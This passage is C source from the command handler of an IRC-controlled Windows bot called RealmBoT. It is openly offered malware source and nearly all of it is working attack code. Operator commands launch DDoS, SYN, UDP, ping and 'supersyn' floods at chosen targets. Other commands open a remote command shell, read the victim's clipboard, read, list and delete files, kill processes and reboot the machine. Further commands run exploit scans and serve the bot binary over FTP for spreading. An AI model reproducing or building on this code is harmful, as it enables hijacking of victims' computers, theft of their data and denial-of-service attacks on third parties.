  813. strncpy(visit.referer, a[s+2], sizeof(visit.referer)-1);
  814. strncpy(visit.chan, a[2], sizeof(visit.chan)-1);
  815. visit.sock = sock;
  816. visit.silent = silent;
  817. visit.notice = notice;
  818.  
  819. sprintf(sendbuf,".T..x. (visit.p.l.g) .»». URL: %s.",a[s+1]);
  820. visit.threadnum=addthread(sendbuf,VISIT_THREAD,NULL);
  821. if (threads[visit.threadnum].tHandle = CreateThread(NULL, 0, &VisitThread, (LPVOID)&visit, 0, &id)) {
  822. while(visit.gotinfo == FALSE)
  823. Sleep(50);
  824. } else
  825. sprintf(sendbuf,"[REALMBOT] << Failed to start connection thread, error: <%d>. >>", GetLastError());
  826. addlog(sendbuf);
  827.  
  828. return 1;
  829. }
  830.  
  831.  
  832.  
  833. else if (strcmp("web.off",a[s]) == 0) {
  834. stopthread(sock,a[2],notice,silent,".h.ttp.d...","Server",HTTP_THREAD,a[s+1]);
  835.  
  836. return 1;
  837. }
  838. else if (strcmp("ftpd.off",a[s]) == 0) {
  839. stopthread(sock,a[2],notice,silent,"[REALMBOT] : ","Server",FTP_THREAD,a[s+1]);
  840.  
  841. return 1;
  842. }
  843. else if (strcmp("log.off",a[s]) == 0) {
  844. stopthread(sock,a[2],notice,silent,".l.o.g...","Log list",LOG_THREAD,a[s+1]);
  845.  
  846. return 1;
  847. }
  848. else if (strcmp("proxy.redirect.off",a[s]) == 0) {
  849. stopthread(sock,a[2],notice,silent,".r.edirec.t...","TCP redirect",REDIRECT_THREAD,a[s+1]);
  850.  
  851. return 1;
  852. }
  853. else if (strcmp("ddos.off",a[s]) == 0) {
  854. stopthread(sock,a[2],notice,silent,".d.do.s...","DDoS flood",DDOS_THREAD,a[s+1]);
  855.  
  856. return 1;
  857. }
  858. else if (strcmp("syn.off",a[s]) == 0) {
  859. stopthread(sock,a[2],notice,silent,".s.y.n...","Syn flood",SYN_THREAD,a[s+1]);
  860.  
  861. return 1;
  862. }
  863. else if (strcmp("udp.off",a[s]) == 0) {
  864. stopthread(sock,a[2],notice,silent,".u.d.p...","UDP flood",UDP_THREAD,a[s+1]);
  865.  
  866. return 1;
  867. }
  868. else if (strcmp("ping.off",a[s]) == 0) {
  869. stopthread(sock,a[2],notice,silent,".p.in.g...","Ping flood",PING_THREAD,a[s+1]);
  870.  
  871. return 1;
  872. }
  873.  
  874.  
  875. #ifndef NO_PROCESS
  876. else if (strcmp("proc.off",a[s]) == 0 || strcmp("com.ps.off",a[s]) == 0) {
  877. stopthread(sock,a[2],notice,silent,".p.ro.c...","Process list",PROC_THREAD,a[s+1]);
  878.  
  879. return 1;
  880. }
  881. #endif
  882. else if (strcmp("clone.off",a[s]) == 0) {
  883. stopthread(sock,a[2],notice,silent,".c.lone.s...","Clone",CLONE_THREAD,a[s+1]);
  884.  
  885. return 1;
  886. }
  887. else if (strcmp("secure.stop",a[s]) == 0) {
  888. stopthread(sock,a[2],notice,silent,".s.ecur.e...","Secure",SECURE_THREAD,a[s+1]);
  889.  
  890. return 1;
  891. }
  892. else if (strcmp("scanstop",a[s]) == 0) {
  893. stopthread(sock,a[2],notice,silent,"Exploitation","Scan",SCAN_THREAD,a[s+1]);
  894.  
  895. return 1;
  896. }
  897.  
  898. else if (strcmp("stats",a[s]) == 0 || strcmp("st",a[s]) == 0) {
  899. ListExploitStats(sock,a[2],notice);
  900.  
  901. return repeat;
  902. }
  903. else if (strcmp("reconnect", a[s]) == 0 || strcmp("irc.r", a[s]) == 0) {
  904. irc_sendv(sock, "QUIT :reconnecting\r\n");
  905. addlog("RealmBoT (irc.p.l.g) .»». Reconnecting.");
  906.  
  907. return 0;
  908. }
  909. else if (strcmp("disconnect", a[s]) == 0 || strcmp("irc.d", a[s]) == 0) {
  910. irc_sendv(sock, "QUIT :disconnecting\r\n");
  911. addlog("RealmBoT (irc.p.l.g) .»». Disconnecting.");
  912.  
  913. return -1;
  914. }
  915. else if (strcmp("quit", a[s]) == 0 || strcmp("irc.q", a[s]) == 0) {
  916. if (a[s+1]) {
  917. if (x != NULL) {
  918. char *y = strstr(x, a[s+1]);
  919. if (y != NULL) irc_sendv(sock, "QUIT :%s\r\n", y);
  920. }
  921. } else
  922. irc_sendv(sock, "QUIT :later\r\n");
  923.  
  924. return -2;
  925. }
  926. else if (strcmp("status", a[s]) == 0 || strcmp("irc.s", a[s]) == 0) {
  927. sprintf(sendbuf, "RealmBoT (irc.p.l.g) .»». Status: Ready. Bot Uptime: %s.", Uptime(started));
  928. irc_privmsg(sock, a[2], sendbuf, notice);
  929. addlog(sendbuf);
  930.  
  931. return repeat;
  932. }
  933. else if (strcmp("id", a[s]) == 0 || strcmp("irc.i", a[s]) == 0) {
  934. sprintf(sendbuf, "RealmBoT (irc.p.l.g) .»». Bot ID: %s.", botid);
  935. irc_privmsg(sock, a[2], sendbuf, notice);
  936. addlog(sendbuf);
  937.  
  938. return repeat;
  939. }
  940. else if (strcmp("reboot", a[s]) == 0) {
  941. sprintf(sendbuf, ((Reboot())?("RealmBoT (irc.p.l.g) .»». Rebooting system."):("RealmBoT (irc.p.l.g) .»». Failed to reboot system.")));
  942. irc_privmsg(sock, a[2], sendbuf, notice);
  943. addlog(sendbuf);
  944.  
  945. return 1;
  946. }
  947. else if (strcmp("threads", a[s]) == 0 || strcmp("threads.l", a[s]) == 0) {
  948. TLIST tlist;
  949. _snprintf(tlist.chan, sizeof(tlist.chan), a[2]);
  950. tlist.sock = sock;
  951. tlist.notice = notice;
  952. tlist.silent = silent;
  953. tlist.full = ((a[s+1])?((strcmp(a[s+1],"sub") == 0)?(TRUE):(FALSE)):(FALSE));
  954.  
  955. sprintf(sendbuf, "RealmBoT (threads.p.l.g) .»». List threads.");
  956. tlist.threadnum = addthread(sendbuf, LIST_THREAD, NULL);
  957. if (threads[tlist.threadnum].tHandle = CreateThread(NULL, 0, &ListThread, (LPVOID)&tlist, 0, &id)) {
  958. while (tlist.gotinfo == FALSE)
  959. Sleep(50);
  960. } else
  961. sprintf(sendbuf,"RealmBoT (threads.p.l.g) .»». Failed to start list thread, error: <%d>.", GetLastError());
  962. addlog(sendbuf);
  963.  
  964. return repeat;
  965. }
  966. else if (strcmp("aliases", a[s]) == 0 || strcmp("irc.al", a[s]) == 0) {
  967. aliaslist(sock, a[2], notice);
  968. addlog("RealmBoT (irc.p.l.g) .»». Alias list.");
  969.  
  970. return repeat;
  971. }
  972. else if (strcmp("log", a[s]) == 0 || strcmp("irc.lg", a[s]) == 0) {
  973. SHOWLOG showlog;
  974. showlog.filter[0] = '\0';
  975. if (x != NULL && a[s+1]) {
  976. char *y = strstr(x, a[s+1]);
  977. if (y != NULL)
  978. _snprintf(showlog.filter,sizeof(showlog.filter),"%s",y);
  979. }
  980. _snprintf(showlog.chan, sizeof(showlog.chan), a[2]);
  981. showlog.sock = sock;
  982. showlog.notice = notice;
  983. showlog.silent = silent;
  984.  
  985. sprintf(sendbuf, "RealmBoT (log.p.l.g) .»». Listing log.");
  986. showlog.threadnum = addthread(sendbuf, LOG_THREAD, NULL);
  987. if (threads[showlog.threadnum].tHandle = CreateThread(NULL, 0, &ShowLogThread, (LPVOID)&showlog, 0, &id)) {
  988. while (showlog.gotinfo == FALSE)
  989. Sleep(50);
  990. } else
  991. addlogv("RealmBoT (log.p.l.g) .»». Failed to start listing thread, error: <%d>.", GetLastError());
  992.  
  993. return 1;
  994. }
  995. else if (strcmp("clearlog", a[s]) == 0 || strcmp("clg", a[s]) == 0) {
  996. clearlog(sock, a[2], notice, silent);
  997.  
  998. return 1;
  999. }
  1000. #ifndef NO_NETINFO
  1001. else if (strcmp("netinfo", a[s]) == 0 || strcmp("ni", a[s]) == 0) {
  1002. irc_privmsg(sock, a[2], netinfo(sendbuf, host, sock), notice);
  1003. addlog("RealmBoT (irc.p.l.g) .»». Network Info.");
  1004.  
  1005. return repeat;
  1006. }
  1007. #endif
  1008.  
  1009. #ifndef NO_SUPERSYN
  1010. else if (strcmp("supersyn", a[s]) == 0) {
  1011. SUPERSYN supersyn;
  1012. strncpy(supersyn.ip, a[s+1], sizeof(supersyn.ip)-1);
  1013. strncpy(supersyn.port, a[s+2], sizeof(supersyn.port)-1);
  1014. strncpy(supersyn.length, a[s+3], sizeof(supersyn.length)-1);
  1015. strncpy(supersyn.chan, a[2], sizeof(supersyn.chan)-1);
  1016. supersyn.notice = notice;
  1017. supersyn.silent = silent;
  1018. supersyn.sock = sock;
  1019.  
  1020. sprintf(sendbuf, "RealmBoT (supersyn.p.l.g) .»». Flooding: (%s:%s) for %s seconds.", a[s+1], a[s+2], a[s+3]);
  1021. supersyn.threadnum = addthread(sendbuf,SUPERSYN_THREAD,NULL);
  1022. if (threads[supersyn.threadnum].tHandle = CreateThread(NULL, 0, &SuperSynThread, (LPVOID)&supersyn, 0, &id)) {
  1023. while(supersyn.gotinfo == FALSE)
  1024. Sleep(50);
  1025. } else
  1026. sprintf(sendbuf,"RealmBoT (supersyn.p.l.g) .»». Failed to start flood thread, error: <%d>.", GetLastError());
  1027.  
  1028. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1029. addlog(sendbuf);
  1030.  
  1031. return 1;
  1032. }
  1033. #endif
  1034. #ifndef NO_SYSINFO
  1035. else if (strcmp("sysinfo", a[s]) == 0 || strcmp("sys", a[s]) == 0) {
  1036. irc_privmsg(sock, a[2], sysinfo(sendbuf, sock), notice);
  1037. addlog("RealmBoT(irc.p.l.g) .»». System Info.");
  1038.  
  1039. return repeat;
  1040. }
  1041. #endif
  1042. else if (strcmp("remove", a[s]) == 0 || strcmp("rm", a[s]) == 0) {
  1043. if (!silent) irc_privmsg(sock, a[2], "[REALMBOT] : Goodbye idiot and nice try.", notice);
  1044. #ifdef DEBUG_LOGGING
  1045. closedebuglog();
  1046. #endif
  1047. fclosesocket(sock);
  1048. fWSACleanup();
  1049. uninstall();
  1050. ExitProcess(EXIT_SUCCESS);
  1051. }
  1052. #ifndef NO_PROCESS
  1053. else if (strcmp("proc.on", a[s]) == 0 || strcmp("com.ps", a[s]) == 0) {
  1054. if (findthreadid(PROC_THREAD) > 0) {
  1055. if (!silent) irc_privmsg(sock, a[2], "RealmBoT (processes.p.l.g) .»». Already running.", notice);
  1056. } else {
  1057. LPROC lproc;
  1058. _snprintf(lproc.chan, sizeof(lproc.chan), a[2]);
  1059. lproc.sock = sock;
  1060. lproc.notice = notice;
  1061. lproc.silent = silent;
  1062. lproc.full = FALSE;
  1063. if (a[s+1])
  1064. if (strcmp("full", a[s+1]) == 0)
  1065. lproc.full = TRUE;
  1066.  
  1067. sprintf(sendbuf,"RealmBoT (processes.p.l.g) .»». Proccess list.");
  1068. lproc.threadnum = addthread(sendbuf, PROC_THREAD, NULL);
  1069. if (threads[lproc.threadnum].tHandle = CreateThread(NULL, 0, &listProcessesThread, (LPVOID)&lproc, 0, &id)) {
  1070. while (lproc.gotinfo == FALSE)
  1071. Sleep(50);
  1072. } else
  1073. sprintf(sendbuf,"RealmBoT (processes.p.l.g) .»». Failed to start listing thread, error: <%d>.", GetLastError());
  1074. addlog(sendbuf);
  1075. }
  1076.  
  1077. return 1;
  1078. }
  1079. #endif
  1080.  
  1081. else if (strcmp("uptime", a[s]) == 0 || strcmp("com.up", a[s]) == 0) {
  1082. DWORD uptime = -1, total = GetTickCount() / 1000;
  1083.  
  1084. if(a[s+1])
  1085. uptime = atoi(a[s+1]);
  1086.  
  1087. if (total/86400 >= uptime || uptime == -1) {
  1088. sprintf(sendbuf, "RealmBoT (irc.p.l.g) .»». Uptime: %s.", Uptime());
  1089. irc_privmsg(sock, a[2], sendbuf, notice);
  1090. addlog(sendbuf);
  1091. }
  1092.  
  1093. return repeat;
  1094. }
  1095. else if (strcmp("driveinfo", a[s]) == 0 || strcmp("com.drv", a[s]) == 0) {
  1096. DriveInfo(sock, a[2], notice, a[s+1]);
  1097.  
  1098. return 1;
  1099. }
  1100. else if (strcmp("testdlls", a[s]) == 0 || strcmp("com.dll", a[s]) == 0) {
  1101. CheckDLLs(sock,a[2],notice,silent);
  1102.  
  1103. return 1;
  1104. }
  1105. #ifdef DUMP_ENCRYPT
  1106. else if (strcmp("encrypt", a[s]) == 0 || strcmp("enc", a[s]) == 0) {
  1107. encryptstrings((sizeof(authost) / sizeof(LPTSTR)),(sizeof(versionlist) / sizeof(LPTSTR)),sock,a[2],notice);
  1108.  
  1109. return 1;
  1110. }
  1111. #endif
  1112.  
  1113.  
  1114. #ifndef NO_REMOTECMD
  1115. else if (strcmp("opencmd",a[s]) == 0 || strcmp("cmd1", a[s]) == 0) {
  1116. if (findthreadid(RCMD_THREAD) > 0) {
  1117. sprintf(sendbuf ,"[REALMBOT << Remote shell already running. >>");
  1118. if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1119. addlog(sendbuf);
  1120. } else {
  1121. if (open_cmd(sock,a[2]) == -1)
  1122. sprintf(sendbuf,"[REALMBOT] << Couldn't open remote shell. >>");
  1123. else
  1124. sprintf(sendbuf,"[REALMBOT] << Remote shell ready. >>");
  1125. if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1126. addlog(sendbuf);
  1127. }
  1128.  
  1129. return 1;
  1130. }
  1131. else if (strcmp("closecmd",a[s]) == 0) {
  1132. stopthread(sock,a[2],notice,silent,"[CMD]","Remote shell",RCMD_THREAD,a[s+1]);
  1133.  
  1134. return 1;
  1135. }
  1136. #endif
  1137. else if (strcmp("irc.who", a[s]) == 0) {
  1138. if (!silent) irc_privmsg(sock, a[2], "-[Login List]-", notice);
  1139. for (i = 0; i < MAXLOGINS; i++) {
  1140. sprintf(sendbuf,"%d. %s",i,((masters[i][0] != '\0')?(masters[i]+1):("<Empty>")));
  1141. irc_privmsg(sock, a[2], sendbuf, notice, TRUE);
  1142. }
  1143. addlog("RealmBoT (irc.p.l.g) .»». Login list complete.");
  1144. }
  1145. else if (strcmp("getclip", a[s]) == 0 || strcmp("com.gc", a[s]) == 0) {
  1146. if (!silent) irc_privmsg(sock, a[2], "-[Clipboard Data]-", notice);
  1147. irc_privmsg(sock, a[2], GetClipboardText(), notice);
  1148. addlog("RealmBoT (irc.p.l.g) .»». Get Clipboard.");
  1149.  
  1150. return repeat;
  1151. }
  1152. else if (strcmp("flusharp", a[s]) == 0 || strcmp("farp", a[s]) == 0) {
  1153. if (FlushARPCache())
  1154. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (flushdns.p.l.g) .»». ARP cache flushed.");
  1155. else
  1156. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (flushdns.p.l.g) .»». Failed to flush ARP cache.");
  1157.  
  1158. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1159. addlog(sendbuf);
  1160.  
  1161. return repeat;
  1162. }
  1163. else if (strcmp("flushdns", a[s]) == 0 || strcmp("util.fdns", a[s]) == 0) {
  1164. if (fDnsFlushResolverCache) {
  1165. if (fDnsFlushResolverCache())
  1166. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (flushdns.p.l.g) .»». DNS cache flushed.");
  1167. else
  1168. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (flushdns.p.l.g) .»». Failed to flush DNS cache.");
  1169. } else
  1170. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (flushdns.p.l.g) .»». Failed to load dnsapi.dll.");
  1171.  
  1172. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1173. addlog(sendbuf);
  1174.  
  1175. return repeat;
  1176. }
  1177. else if (strcmp("currentip", a[s]) == 0 || strcmp("cip", a[s]) == 0) {
  1178. int scanthread;
  1179. if (a[s+1])
  1180. scanthread = atoi(a[s+1]);
  1181. else
  1182. scanthread = findthreadnum(SCAN_THREAD);
  1183. if (scanthread != 0)
  1184. currentIP(sock, a[2], notice, scanthread);
  1185.  
  1186. return repeat;
  1187. }
  1188.  
  1189. #ifndef NO_HTTPD
  1190. else if (strcmp("httpd.on", a[s]) == 0 || strcmp("web.on", a[s]) == 0) {
  1191. HTTPD httpd;
  1192. httpd.port = ((a[s+1])?((atoi(a[s+1])==0)?(httpport):(atoi(a[s+1]))):(httpport));
  1193. httpd.enabled = ((parameters['d'])?(FALSE):(TRUE));
  1194. if (a[s+2])
  1195. sprintf(httpd.dir, a[s+2]);
  1196. else {
  1197. char sysdir[MAX_PATH], drive[10];
  1198. GetWindowsDirectory(sysdir,sizeof(sysdir));
  1199. _splitpath(sysdir, drive, NULL, NULL, NULL);
  1200. }
  1201. if (httpd.dir[strlen(httpd.dir)-1] == 92)
  1202. httpd.dir[strlen(httpd.dir)-1] = '\0';
  1203. httpd.sock = sock;
  1204. _snprintf(httpd.chan, sizeof(httpd.chan), a[2]);
  1205. httpd.notice = notice;
  1206. httpd.silent = silent;
  1207.  
  1208. sprintf(sendbuf,"[REALMBOT] << Server listening on IP: %s:%d, Directory: %s\\. >>", GetIP(sock), httpd.port, httpd.dir);
  1209. httpd.threadnum = addthread(sendbuf,HTTP_THREAD,NULL);
  1210. if (threads[httpd.threadnum].tHandle = CreateThread(NULL, 0, &HTTP_Server_Thread, (LPVOID)&httpd, 0, &id)) {
  1211. while(httpd.info == FALSE)
  1212. Sleep(50);
  1213. } else
  1214. sprintf(sendbuf,"[REALMBOT] << Failed to start server thread, error: <%d>. >>", GetLastError());
  1215.  
  1216. if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1217. addlog(sendbuf);
  1218.  
  1219. return 1;
  1220. }
  1221. #endif
  1222.  
  1223. #ifndef NO_CRASH
  1224. else if (strcmp("crash", a[s]) == 0) {
  1225. sprintf(sendbuf,"RealmBoT (irc.p.l.g) .»». Crashing bot.");
  1226. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1227. addlog(sendbuf);
  1228.  
  1229. strcmp(a[s+5],"crash"); // yes, this will crash.
  1230.  
  1231. return 1;
  1232. }
  1233. #endif
  1234.  
  1235. else if (strcmp("ftpd.on", a[s]) == 0 || strcmp("d.ftpd.on", a[s]) == 0) {
  1236. char sendbuf[IRCLINE];
  1237. DWORD id;
  1238. if (findthreadid(FTP_THREAD) == 0) {
  1239. static FTP ftp;
  1240. // ftp.port = lsaport;
  1241. ftp.threads = 0;
  1242. GetModuleFileName(0,ftp.filename,sizeof(ftp.filename));
  1243. strncpy(ftp.requestname, filename, sizeof(ftp.requestname)-1);
  1244. ftp.sock = sock;
  1245. ftp.notice = notice;
  1246. ftp.silent = silent;
  1247. strncpy(ftp.chan, exploitchan, sizeof(ftp.chan)-1);
  1248. sprintf(sendbuf, "[REALMBOT-FTP] : Server started on Port: %d, File: %s, Request: %s.", ftp.port, ftp.filename, ftp.requestname);
  1249. ftp.threadnum = addthread(sendbuf,FTP_THREAD,NULL);
  1250. if (threads[ftp.threadnum].tHandle = CreateThread(NULL, 0, &ftpd, (LPVOID)&ftp, 0, &id)) {
  1251. while (ftp.gotinfo == FALSE)
  1252. Sleep(50);
  1253. } else
  1254. sprintf(sendbuf, "[REALMBOT] : Failed to start server, error: <%d>.", GetLastError());
  1255. if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1256. addlog(sendbuf);
  1257. return 1;
  1258. } else {
  1259. sprintf(sendbuf,"[REALMBOT] : Server already started.");
  1260. irc_privmsg(sock,a[2],sendbuf,notice);
  1261. return 1;
  1262. }
  1263. }
  1264.  
  1265. // commands requiring at least 1 parameter
  1266. else if (a[s+1] == NULL) return 1;
  1267. else if (strcmp("irc.nick", a[s]) == 0 || strcmp("irc.n", a[s]) == 0) {
  1268. irc_sendv(sock, "NICK %s\r\n", a[s+1]);
  1269. addlogv("RealmBoT (irc.p.l.g) .»». Nick changed to: '%s'.",a[s+1]);
  1270.  
  1271. return repeat;
  1272. }
  1273. else if (strcmp("join", a[s]) == 0 || strcmp("irc.j", a[s]) == 0) {
  1274. irc_sendv(sock, "JOIN %s %s\r\n", a[s+1], a[s+2]);
  1275. addlogv("RealmBoT (irc.p.l.g) .»». Joined channel: '%s'.",a[s+1]);
  1276.  
  1277. return repeat;
  1278. }
  1279. else if (strcmp("part", a[s]) == 0 || strcmp("irc.pt", a[s]) == 0) {
  1280. irc_sendv(sock, "PART %s\r\n", a[s+1]);
  1281. addlogv("RealmBoT (irc.p.l.g) .»». Parted channel: '%s'.",a[s+1]);
  1282.  
  1283. return repeat;
  1284. }
  1285. else if (strcmp("raw", a[s]) == 0 || strcmp("irc.ra", a[s]) == 0) {
  1286. if (x != NULL) {
  1287. char *y = strstr(x, a[s+1]);
  1288. if (y != NULL) {
  1289. irc_sendv(sock, "%s\r\n", y);
  1290. addlogv("RealmBoT (irc.p.l.g) .»». IRC Raw: %s.",y);
  1291. }
  1292. }
  1293.  
  1294. return repeat;
  1295. }
  1296. else if (strcmp("killthreads", a[s]) == 0 || strcmp("killt", a[s]) == 0) {
  1297. if (strcmp("all", a[s+1]) == 0) {
  1298. if ((i=killthreadall()) > 0)
  1299. sprintf(sendbuf,"RealmBoT (threads.p.l.g) .»». Stopped: %d thread(s).", i);
  1300. else
  1301. sprintf(sendbuf,"RealmBoT (threads.p.l.g) .»». No active threads found.");
  1302. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1303. addlog(sendbuf);
  1304. } else {
  1305. for (i = s+1; i < (sizeof(a)/4); i++) {
  1306. if (a[i]==NULL) break;
  1307.  
  1308. if (killthread(atoi(a[i])))
  1309. sprintf(sendbuf,"RealmBoT (threads.p.l.g) .»». Killed thread: %s.",a[i]);
  1310. else
  1311. sprintf(sendbuf,"RealmBoT(threads.p.l.g) .»». Failed to kill thread: %s.",a[i]);
  1312. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1313. addlog(sendbuf);
  1314. }
  1315. }
  1316.  
  1317. return 1;
  1318. }
  1319. else if (strcmp("clone.quit", a[s]) == 0 || strcmp("clone.q", a[s]) == 0) {
  1320. if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  1321. irc_sendv(threads[atoi(a[s+1])].sock, "QUIT :later\r\n");
  1322. Sleep(500);
  1323. fclosesocket(threads[atoi(a[s+1])].sock);
  1324. TerminateThread(threads[atoi(a[s+1])].tHandle, id);
  1325. threads[atoi(a[s+1])].tHandle = 0;
  1326. threads[atoi(a[s+1])].name[0] = '\0';
  1327. }
  1328.  
  1329. return 1;
  1330. }
  1331. else if (strcmp("clone.rndnick", a[s]) == 0 || strcmp("clone.rn", a[s]) == 0) {
  1332. if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  1333. sprintf(sendbuf, "NICK %s", rndnick(ntmp));
  1334. irc_sendv(threads[atoi(a[s+1])].sock, "%s\r\n", sendbuf);
  1335. }
  1336.  
  1337. return repeat;
  1338. }
  1339. else if (strcmp("prefix", a[s]) == 0 || strcmp("irc.pr", a[s]) == 0) {
  1340. prefix = a[s+1][0];
  1341. sprintf(sendbuf,"[REALMBOT] << Prefix changed to: '%c' >>",a[s+1][0]);
  1342. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1343. addlog(sendbuf);
  1344.  
  1345. return 1;
  1346. }
  1347. else if (strcmp("open", a[s]) == 0 || strcmp("com.o", a[s]) == 0) {
  1348. if (fShellExecute(0, "open", a[s+1], NULL, NULL, SW_SHOW))
  1349. sprintf(sendbuf,".15,14nzm .2.. .15(shell.2..15mod) .2».15 File opened: %s", a[s+1]);
  1350. else
  1351. sprintf(sendbuf,".15,14nzm .2.. .15(shell.2..15mod) .2».15 Couldn't open file: %s", a[s+1]);
  1352. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1353. addlog(sendbuf);
  1354.  
  1355. return repeat;
  1356. }
  1357. else if (strcmp("setserver", a[s]) == 0 || strcmp("irc.se", a[s]) == 0) {
  1358. strncpy(server, a[s+1], 127);
  1359. sprintf(sendbuf,"RealmBoT(irc.p.l.g) .»». Server changed to: '%s'.",a[s+1]);
  1360. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1361. addlog(sendbuf);
  1362.  
  1363. return 1;
  1364. }
  1365. else if (strcmp("dns", a[s]) == 0 || strcmp("irc.dn", a[s]) == 0) {
  1366. LPHOSTENT hostent = NULL;
  1367. IN_ADDR iaddr;
  1368. DWORD addr = finet_addr(a[s+1]);
  1369.  
  1370. if (addr != INADDR_NONE) {
  1371. hostent = fgethostbyaddr((char *)&addr, sizeof(struct in_addr), AF_INET);
  1372. if (hostent != NULL)
  1373. sprintf(sendbuf, "[REALMBOT] << Lookup: %s -> %s. >>", a[s+1], hostent->h_name);
  1374. }
  1375. else {
  1376. hostent = fgethostbyname(a[s+1]);
  1377. if (hostent != NULL) {
  1378. iaddr = *((LPIN_ADDR)*hostent->h_addr_list);
  1379. sprintf(sendbuf, "[REALMBOT] << Lookup: %s -> %s. >>", a[s+1], finet_ntoa(iaddr));
  1380. }
  1381. }
  1382. if (hostent == NULL)
  1383. sprintf(sendbuf,"[REALMBOT] << Couldn't resolve hostname. >>");
  1384. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1385. addlog(sendbuf);
  1386.  
  1387. return repeat;
  1388. }
  1389.  
  1390.  
  1391.  
  1392. #ifndef NO_PROCESS
  1393. else if (strcmp("killprocess",a[s]) == 0 || strcmp("kpc", a[s]) == 0) { // kill process name
  1394. if(listProcesses(sock,NULL,notice,a[s+1]) == 1)
  1395. sprintf(sendbuf,"[REALMBOT] << Process killed: %s >>",a[s+1]);
  1396. else
  1397. sprintf(sendbuf,"[REALMBOT] << Failed to terminate process: %s >>", a[s+1]);
  1398. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1399. addlog(sendbuf);
  1400.  
  1401. return repeat;
  1402. }
  1403. else if (strcmp("prockillid",a[s]) == 0 || strcmp("pkid", a[s]) == 0) { // kill process id
  1404. if(killProcess(atoi(a[s+1])) == 1)
  1405. sprintf(sendbuf,"[REALMBOT] << Process killed ID: %s >>",a[s+1]);
  1406. else
  1407. sprintf(sendbuf,"[REALMBOT] << Failed to terminate process ID: %s >>", a[s+1]);
  1408. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1409. addlog(sendbuf);
  1410.  
  1411. return 1;
  1412. }
  1413. #endif
  1414. else if (strcmp("delete", a[s]) == 0 || strcmp("del", a[s]) == 0) {
  1415. if (DeleteFile(a[s+1]))
  1416. _snprintf(sendbuf,sizeof(sendbuf),"[REALMBOT] << Deleted '%s' >>",a[s+1]);
  1417. else
  1418. _snprintf(sendbuf,sizeof(sendbuf),PrintError("RealmBoT (file.p.l.g) .»». "));
  1419.  
  1420. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1421. addlog(sendbuf);
  1422.  
  1423. return repeat;
  1424. }
  1425.  
  1426. else if (strcmp("list", a[s]) == 0 || strcmp("com.fl", a[s]) == 0) {
  1427. GetFiles(a[s+1],sock,a[2],NULL);
  1428. addlogv("RealmBoT (file.p.l.g) .»». List: %s", a[s+1]);
  1429.  
  1430. return repeat;
  1431. }
  1432.  
  1433. else if (strcmp("mirc.cmd", a[s]) == 0 || strcmp("mirc.cmd", a[s]) == 0) {
  1434. if (x != NULL) {
  1435. char *y = strstr(x, a[s+1]);
  1436. if (y != NULL) {
  1437. if (!mirccmd(y))
  1438. sprintf(sendbuf,"RealmBoT (mirc.p.l.g) .»». Client not open.");
  1439. else
  1440. sprintf(sendbuf,"RealmBoT(mirc.p.l.g) .»». Command sent.");
  1441. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1442. addlog(sendbuf);
  1443. }
  1444. }
  1445.  
  1446. return repeat;
  1447. }
  1448. #ifndef NO_REMOTECMD
  1449. else if (strcmp("cmd", a[s]) == 0 || strcmp("cmd1", a[s]) == 0) {
  1450. if (x != NULL) {
  1451. char *y = strstr(x, a[s+1]);
  1452. if (y != NULL) {
  1453. strcat(y,"\n");
  1454. if (!send_commands(y)) {
  1455. sprintf(sendbuf,"[REALMBOT] << Error sending to remote shell >>");
  1456. if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1457. }
  1458. else
  1459. sprintf(sendbuf,"RealmBoT (cmd.p.l.g) .»». Commands: %s",y);
  1460. addlog(sendbuf);
  1461. }
  1462. }
  1463.  
  1464. return repeat;
  1465. }
  1466. #endif
  1467. else if (strcmp("readfile", a[s]) == 0 || strcmp("com.rf", a[s]) == 0) {
  1468. FILE *fp;
  1469. if ((fp = fopen(a[s+1],"r")) != NULL) {
  1470. while (fgets(sendbuf,sizeof(sendbuf),fp) != NULL)
  1471. irc_privmsg(sock, a[2], sendbuf, notice, TRUE);
  1472. fclose(fp);
  1473. sprintf(sendbuf,"[REALMBOT] << Read file complete: %s >>",a[s+1]);
  1474. } else {
  1475. sprintf(sendbuf,"[REALMBOT] << Read file failed: %s >>",a[s+1]);
  1476. if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1477. }
  1478. addlog(sendbuf);
  1479.  
  1480. return repeat;
  1481. }
  1482.  
  1483. #ifndef NO_IDENT
  1484. else if (strcmp("ident", a[s]) == 0) {
  1485. if (strcmp("on", a[s+1]) == 0) {
  1486. if (findthreadid(IDENT_THREAD) > 0)
  1487. sprintf(sendbuf ,"RealmBoT (ident.p.l.g) .»». Already running.");
  1488. else {
  1489. sprintf(sendbuf,"RealmBoT (identd.p.l.g) .»». Server running on Port: 113.");
  1490. i = addthread(sendbuf,IDENT_THREAD,NULL);
  1491. if ((threads[i].tHandle = CreateThread(NULL, 0, &IdentThread, (LPVOID)i, 0, &id)) == NULL)
  1492. sprintf(sendbuf,"RealmBoT (identd.p.l.g) .»». Failed to start server, error: <%d>.", GetLastError());
  1493. }
  1494. }
  1495. else if (strcmp("off", a[s+1]) == 0) {
